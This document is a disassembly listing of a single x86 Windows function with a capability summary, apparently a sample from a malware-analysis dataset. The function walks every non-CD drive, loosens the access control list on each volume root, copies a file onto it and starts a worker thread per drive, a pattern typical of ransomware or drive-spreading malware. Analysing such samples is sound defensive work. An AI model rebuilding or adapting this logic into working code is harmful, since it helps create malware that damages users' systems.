Function at 0x403630
Capabilities:
Copy file
Create thread
Get common file path
Get disk information
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1360
call fcn.00409210
call dword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0x1a
jmp 0x40365f
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jl 0x4039b6
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 8]
shr edx, cl
and edx, 1
mov dword [ebp - 0x28], edx
je 0x4039b1
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 8]
add eax, 0x41
mov ecx, 2
imul edx, ecx, 0
mov word [ebp + edx - 0x14], ax
mov eax, 2
shl eax, 0
mov ecx, 0x3a
mov word [ebp + eax - 0x14], cx
mov edx, 2
shl edx, 1
mov eax, 0x5c
mov word [ebp + edx - 0x14], ax
mov ecx, 2
imul edx, ecx, 3
xor eax, eax
mov word [ebp + edx - 0x14], ax
push 0
push 0
push 0
push 0
push 0
push 0x104
push 0
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationW]
mov dword [ebp - 0x2c], eax
lea edx, [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
cmp eax, 5
je 0x4039b1
cmp dword [ebp - 0x2c], 1
jne 0x4039b1
push 0xfe
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
mov ecx, 2
imul edx, ecx, 0
movzx eax, word [ebp + edx - 0x144]
mov ecx, 2
imul edx, ecx, 0
movzx ecx, word [ebp + edx - 0x14]
cmp eax, ecx
jne 0x40375f
mov edx, 2
shl edx, 0
movzx eax, word [ebp + edx - 0x144]
mov ecx, 2
shl ecx, 0
movzx edx, word [ebp + ecx - 0x14]
cmp eax, edx
jne 0x40375f
mov dword [ebp - 0x18], 1
cmp dword [ebp + 8], 1
jne 0x403770
cmp dword [ebp - 0x18], 1
jne 0x403770
jmp 0x4039b1
push 0x104
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov ecx, dword [ebp - 4]
mov dword [ebp + ecx*4 - 0x544], eax
mov edx, dword [ebp - 4]
cmp dword [ebp + edx*4 - 0x544], 0
jne 0x4037a3
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0x544]
mov edx, dword [ebp - 0x18]
mov dword [ecx + 0x100], edx
mov eax, 2
imul ecx, eax, 0
mov dword [ebp + ecx - 0x44], 0x5c
mov edx, 2
shl edx, 0
mov dword [ebp + edx - 0x44], 0x5c
mov eax, 2
shl eax, 1
mov dword [ebp + eax - 0x44], 0x3f
mov ecx, 2
imul edx, ecx, 3
mov dword [ebp + edx - 0x44], 0x5c
mov eax, 2
shl eax, 2
mov dword [ebp + eax - 0x44], 0
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0xf60]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xf60]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea edx, [ebp - 0x30]
push edx
push 0
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 4
push 1
lea ecx, [ebp - 0xf60]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetNamedSecurityInfoW]
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x1c]
push eax
push 0x40c940
push 1
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclW]
push 0
mov ecx, dword [ebp - 0x20]
push ecx
push 0
mov edx, dword [0x40c960]
push edx
push 0x80000005
push 1
lea eax, [ebp - 0xf60]
push eax
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoW]
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.DLL_LocalFree]
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.DLL_LocalFree]
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push 0x40a65c
lea ecx, [ebp - 0xf60]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea edx, [ebp - 0xf60]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0x544]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x750]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x40c430
lea ecx, [ebp - 0x750]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 1
lea edx, [ebp - 0x750]
push edx
push 0x40c020
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
cmp dword [ebp + 8], 1
jne 0x403916
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0x544]
mov edx, dword [ebp + 8]
mov dword [ecx + 0x100], edx
cmp dword [ebp + 0xc], 1
jne 0x40394f
mov eax, dword [ebp - 4]
lea ecx, [ebp + eax*4 - 0x1360]
push ecx
push 0
mov edx, dword [ebp - 4]
mov eax, dword [ebp + edx*4 - 0x544]
push eax
push 0x403a00
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, dword [ebp - 4]
mov dword [ebp + ecx*4 - 0xb50], eax
jmp 0x403980
mov edx, dword [ebp - 4]
lea eax, [ebp + edx*4 - 0x1360]
push eax
push 0
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + ecx*4 - 0x544]
push edx
push 0x403a20
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, dword [ebp - 4]
mov dword [ebp + ecx*4 - 0xb50], eax
mov edx, dword [ebp - 4]
cmp dword [ebp + edx*4 - 0xb50], 0
jne 0x403995
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
push 0xffffffffffffffff
push 0
lea ecx, [ebp - 0xb50]
push ecx
push 3
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
jmp 0x403656
push 0xffffffffffffffff
push 1
lea edx, [ebp - 0xb50]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
mov dword [ebp - 0xc], 0
jmp 0x4039dd
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 4]
jge 0x4039f8
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + eax*4 - 0xb50]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x4039d4
mov esp, ebp
pop ebp
ret